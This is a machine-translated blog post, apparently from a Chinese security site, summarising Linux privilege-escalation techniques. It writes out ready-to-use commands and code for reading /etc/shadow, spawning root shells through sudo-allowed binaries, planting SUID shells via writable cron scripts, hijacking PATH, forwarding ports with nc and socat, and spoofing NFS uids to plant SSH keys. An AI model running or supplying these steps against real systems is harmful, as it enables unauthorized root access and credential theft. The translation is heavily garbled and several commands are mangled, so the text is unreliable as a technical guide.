This article, which talks about Linux’s power options, and some of the small summaries that have been grounded in France for months now, has taken a lot of time to understand when partners who have just come into contact with Linux’s power claim are able to do so in an easy-to-understood way, hoping to help their learning friends by writing them first. If there is a better way of doing it, you will be welcome to add one to your comments.
Summary of resource mobilization
1. Use of kernel spills
1.1 Information gathering
uname -a Linux localhost.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
kernel version 3.10.0, CPU architecture x 86_64
cat /etc/*-release CentOS Linux release 7.4.1708 (Core) NAME=”CentOS Linux” VERSION=”7 (Core)” ID=”centos” ID_LIKE=”rhel fedora” VERSION_ID=”7″ PRETTY_NAME=”CentOS Linux 7 (Core)”
searchsploit linux 3.10 CentOS Linux 7

1.2 linux-exploitation-suggester-2
During my virtual CentOS implementation, there was a dirty cow power loophole.

2. Express root password drawings
Passwd stores user, readable for all users, root writes shadow storage password Hash, root reads and writes passwd files only:
daemon
:x:1:1:daemon:/usr/sbin:/bin/sh
Passwd is split by a colon, the first column is a user name, the second column is a password, and x represents a password Hash is placed in a shadow.
Test
Test for passwd, shadow writeability
ls -l passwd shadow

1, passwd can be written from the picture above, and replace passwd’s root password X with our own Hash, which if replaced by a halsh in linux, can modify the target root password 2, shadow read to aid the haw in shading with osh, john blast
3. Password reuse
Like database, backstage Web password, probably root password
4. sudo abuse
sudo 大家经常遇到,比如执行权限不够时加 sudo 执行,sudo 是让普通用户使用超级用户的命令。其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。
查看可以执行哪些命令,即不需要知道 root 密码时,需验证自身普通权限的密码
sudo -l

All commands can be supported by reference to the following web site:
https://gtfobins.github.io/
Here’s a chestnut with the wk, man, curl.
1 su
sudo su
Enter normal permission user password, switch to root

2, awk
sudo awk ‘BEGIN {system(“/bin/sh”)}’

Three, man.
sudo man man


4、curl
sudo curl file:///etc/shadow

5. su root prohibited
Get the root password, port forwarding, agent, but the shield is not allowed to log in root, nor can sudo switch root because for security reasons linux requires users to enter passwords from terminal devices (tty) instead of standard input (stdin). So sudo actually reads keyboards when you enter a password rather than characters that are entered in bash.
Test:
python syntax:
python -c ‘import pty;pty.spawn(“/bin/sh”)’
Interactive shell, simple shell simple shell cannot press the deleted key directly in a button. Only then can you hold down the deleted key after holding the ctrl key. The same is true of other keys
$ sudo su
VI. PLANNING MANDATES
ls -l /etc/cron*
The user without root privileges is not allowed to list the planned tasks of the root users. However, /etc/ internal systems are listed and defaults on these programs being executed with root rights
rewrite python
If scripts for these program tasks are written, edit the shell crontab file is the configuration of the program task. This document only has root to write. We do not need to modify the crontab, but we simply look at what kinds of jobs are in it, such as regular scripts, then check the permissions for corresponding scripts and if you can write, change them. Test:
cat /etc/crondab

I didn’t set a time job. Simulate it if there was one in there. 1.python
ls-al /tmp/1.py //see if w permissions are available cat-al /tmp/1.py // write code import oss.system (‘cp / bin/sh /tmp/sh’) os.system ( ‘chmod u+s /tmp/sh’)
When the plan is implemented, 1.py will be executed with root privileges. Copy to /bin/sh / tmp/ sh which was not available / tmp/ sh

When implemented sudo python 1.py , and then copy to /tmp/sh

We only need to enter /tmp, execute …/ sh to get root’s cp command here based on SUID and set 1.py’s SUID privileges. I can add / tmp/ sh to the environment variable in combination with environmental variables without entering / tmp/sh to execute …/ sh to execute root. It can also write python code for shell bounce at 1.py, where shell has root privileges 1, tab Totebs, so I will start by adding a task by hand, packing files every minute under /aaaaa ‘s directory, to/var/backups/aaaaaa.tgz
cat /etc/crontab */1* * * * root tar -zcf /var/backups/aaa.tgz /tmp/aaa/*

Precaution: the crontab task should never be written in /etc/ crontab files. Create it through crontab-e, so that he can write to the default /var/spool/ cron; when creating a job, avoid using root to create a task, and if you create a task with root, set permissions and avoid root privileges.
7, SUID
SUD is a special file attribute that allows user-executed files to run as owner of the file [ls view with s attributes supporting SUID], e. g. passwd files, which ordinary users cannot read and write directly, but change shadow (because shadows are root privileges, changes will be modified by root)c Source code: (storing for sub-exp. c) compile gcc sub-extp. c -o sub-ext)
#include<stdlib.h> #include <unistd.h> int main() { setuid(0);//run as root system("id"); system("cat /etc/shadow"); }
_Other Organiser
ls -l -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp
Note the s properties, which indicate that this application has a SUID attribute. The presentation program can only perform cat / etc/ shadow with normal permissions./ sub-exp and see shadow content

Find SUID files
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null

See just created suid, /tmp/suid-exp
Environmental variables hijacking – SUID Extension
The purpose of an arbitrary order is achieved by hijacking the environment variable. This is only a cat command, but our ultimate aim is to exercise power and not to execute a single cat command with root privileges. Lineux executes orders such as cart, which go for environmental variables and replace Cat
Test: (echo “Content”) >> I’m sorry.
Create a new /tmp/cat, while cat content is our script. When user executes the cat command, cat/ etc/shadow, we execute our script
cat >> /tmp/ls <<EOF #!/usr/bin/python print "this is not the true cat" print "here is a root shell!" import pty;pty.spawn("/bin/sh") EOF
At this point, we can execute the scripts that we defined because Suid-exp is responsible for carrying out the cat command, while Linux’s system is based on environmental variables and was a default cat, which, when modified, ceases to be the original cat, but rather our own scripts, so as to give effect to arbitrary orders.
9: Manager Configuration Error
Configure SUID without setuid (0); for example, a find command as seen above, if you execute a find with root, then add our own script to the found exec ‘/ bin/ sh’ \; mkdirabc/ create an empty file

But it’s a failure. There’s no misconfiguration.
10. Docker Grouping
Docker group users have access to power, using the docker group user because the docker group users are root privileges under packagings and add sando permissions to their own machines by mounting them, thus making use of the sido command. Without a user with sudo permission, it is impossible to execute the sodo order, and under kali the user will be prompted not to sudoers etc. Reference can be made to my article: The Docker Power Action Test is not complete…
Service gaps
#We’re looking at a variety of web services
Then forward the sensitive ports, use local tools to attack and possibly get a remote root, which is where you get root privileges through a loophole, using lcx for port forwarding, or linux with nc, socat for port forwarding.
1 Retis rebound shell
nc One-way Forward
nc -l 12345 | nc 192.168.191.170 80
Two-way Forward
mkfifo backpipe nc -l 12345 0<backpipe | nc 192.168.191.170 80 1>backpipe
The two-way forwarding of the self-test failed, hoping that the elders would provide a solution socat testing local transmissions, service appache2 start, forward 80 ports to other ports for access, and this is successful.
socat TCP-LISTEN:8080,fork TCP:192.168.191.170:80
Here you can refer to this article, where the author starts with ps-fu root and finds open reis port, forwards the redis port, uses the retis rebound remote root shell. A simple linux move:
https://www.secquan.org/Discuss/1069715#reply8
2 nfs Unauthorized View accessible nfs directory
showmount -e 192.168.111.122

Mount /home/peter to local /mnt/peter
mount 192.168.111.122:/home/peter /mnt/peter cd /mnt/peter
ls-la, find that there are no write permissions, but only if uid is 1001, gid is 1005 and because it is mounted locally, create such an account locally, allow the directory to write permissions

ls-l/mnt/, found uid 1001 and gid 1005

Group-g 1055 boogle, create group of gid 1055
adduser boogle -uid 1001 -gid 1005

This is when you can write to a file and generate a ssh key for boogle.

id_rsa.pub, locally generated at / root/.ssh/ directory, is copied to /mnt/peter/.ssh/authorized_keys, as follows:

Summary: ls-la, found to have no write permission but only if uid is 1001, gid is 1005, and because of the locally mounted creation of such an account, you can write permission to this directory. The next step is to write this directory to the ssh key, log in as a public or private key, ssh [email protected], unclassified login, get root privileges.
This post is part of our special coverage #BrideCleanPhoto, by Guo Xingen Weiguhongyuan. Thank you for your support! Welcome to the show and replicating!![]()
未经允许不得转载:萌萌Apprentissage » Linux takes a summary of the positions in power.
View all Linux command execution orders and numbers
linux One Chinese script
Google shell enable enhanced mode 4 nuclear 16G RAM
Tmux use tutorial
Screen's summary
I'm gonna get you a new one, shell.cloud.google on the line.